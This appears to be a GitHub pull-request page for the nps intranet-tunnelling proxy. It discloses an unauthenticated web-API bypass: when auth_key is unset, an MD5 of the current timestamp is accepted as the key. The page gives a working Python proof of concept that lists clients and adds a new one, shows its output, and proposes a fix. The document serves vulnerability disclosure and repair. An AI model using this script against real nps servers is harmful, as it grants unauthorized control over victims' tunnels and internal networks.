ehang-io / nps

一款轻量级、高性能、功能强大的内网穿透代理服务器。支持tcp、udp、socks5、http等几乎所有流量转发,可用来访问内网网站、本地支付接口调试、ssh访问、远程桌面,内网dns解析、内网socks5代理等等……,并带有功能强大的web管理端。a lightweight, high-performance, powerful intranet penetration proxy server, with a powerful web management terminal.
https://ehang.io/nps/documents
GNU General Public License v3.0
29.77k stars 5.38k forks source link

fix: unauthorized access due to 'web api' enabled by defalut #1091

Open zgbsm opened 1 year ago

zgbsm commented 1 year ago

据说nps有一个未授权访问漏洞0day,刚才试了一下发现漏洞是存在的。

在配置文件auth_key被注释的情况下,依然可以通过web api进行管理,poc如下:

import time
import hashlib
import requests

md5 = hashlib.md5()
now = time.time()
md5.update(str(int(now)).encode())
key = md5.hexdigest()
print("get client list:")
post_data = {"auth_key": key, "timestamp": str(int(now)), "offset": 0, "limit": 10, "order": "asc"}
resp = requests.post("http://127.0.0.1:8080/client/list", post_data)
print(resp.text)
print()
post_data = {"auth_key": key, "timestamp": str(int(now)), "remark": "1", "u": "1", "p": "1", "vkey": "1",
             "config_conn_allow": "1", "compress": "0", "crypt": "0"}
print("add client:")
resp = requests.post("http://127.0.0.1:8080/client/add", post_data)
print(resp.text)
print()
print("get client list:")
post_data = {"auth_key": key, "timestamp": str(int(now)), "offset": 0, "limit": 10, "order": "asc"}
resp = requests.post("http://127.0.0.1:8080/client/list", post_data)
print(resp.text)

运行结果:

sh-3.2# python3 poc.py 
get client list:
{
  "bridgePort": 8024,
  "bridgeType": "tcp",
  "ip": "127.0.0.1",
  "rows": [],
  "total": 0
}

add client:
{
  "msg": "add success",
  "status": 1
}

get client list:
{
  "bridgePort": 8024,
  "bridgeType": "tcp",
  "ip": "127.0.0.1",
  "rows": [
    {
      "Cnf": {
        "U": "1",
        "P": "1",
        "Compress": false,
        "Crypt": false
      },
      "Id": 6,
      "VerifyKey": "1",
      "Addr": "",
      "Remark": "1",
      "Status": true,
      "IsConnect": false,
      "RateLimit": 0,
      "Flow": {
        "ExportFlow": 0,
        "InletFlow": 0,
        "FlowLimit": 0
      },
      "Rate": {
        "NowRate": 0
      },
      "NoStore": false,
      "NoDisplay": false,
      "MaxConn": 0,
      "NowConn": 0,
      "WebUserName": "",
      "WebPassword": "",
      "ConfigConnAllow": true,
      "MaxTunnelNum": 0,
      "Version": ""
    }
  ],
  "total": 1
}
sh-3.2# 

修复建议:可以在base.go的Prepare函数里加个判断,如果configKey是空,就生成随机字符串赋值。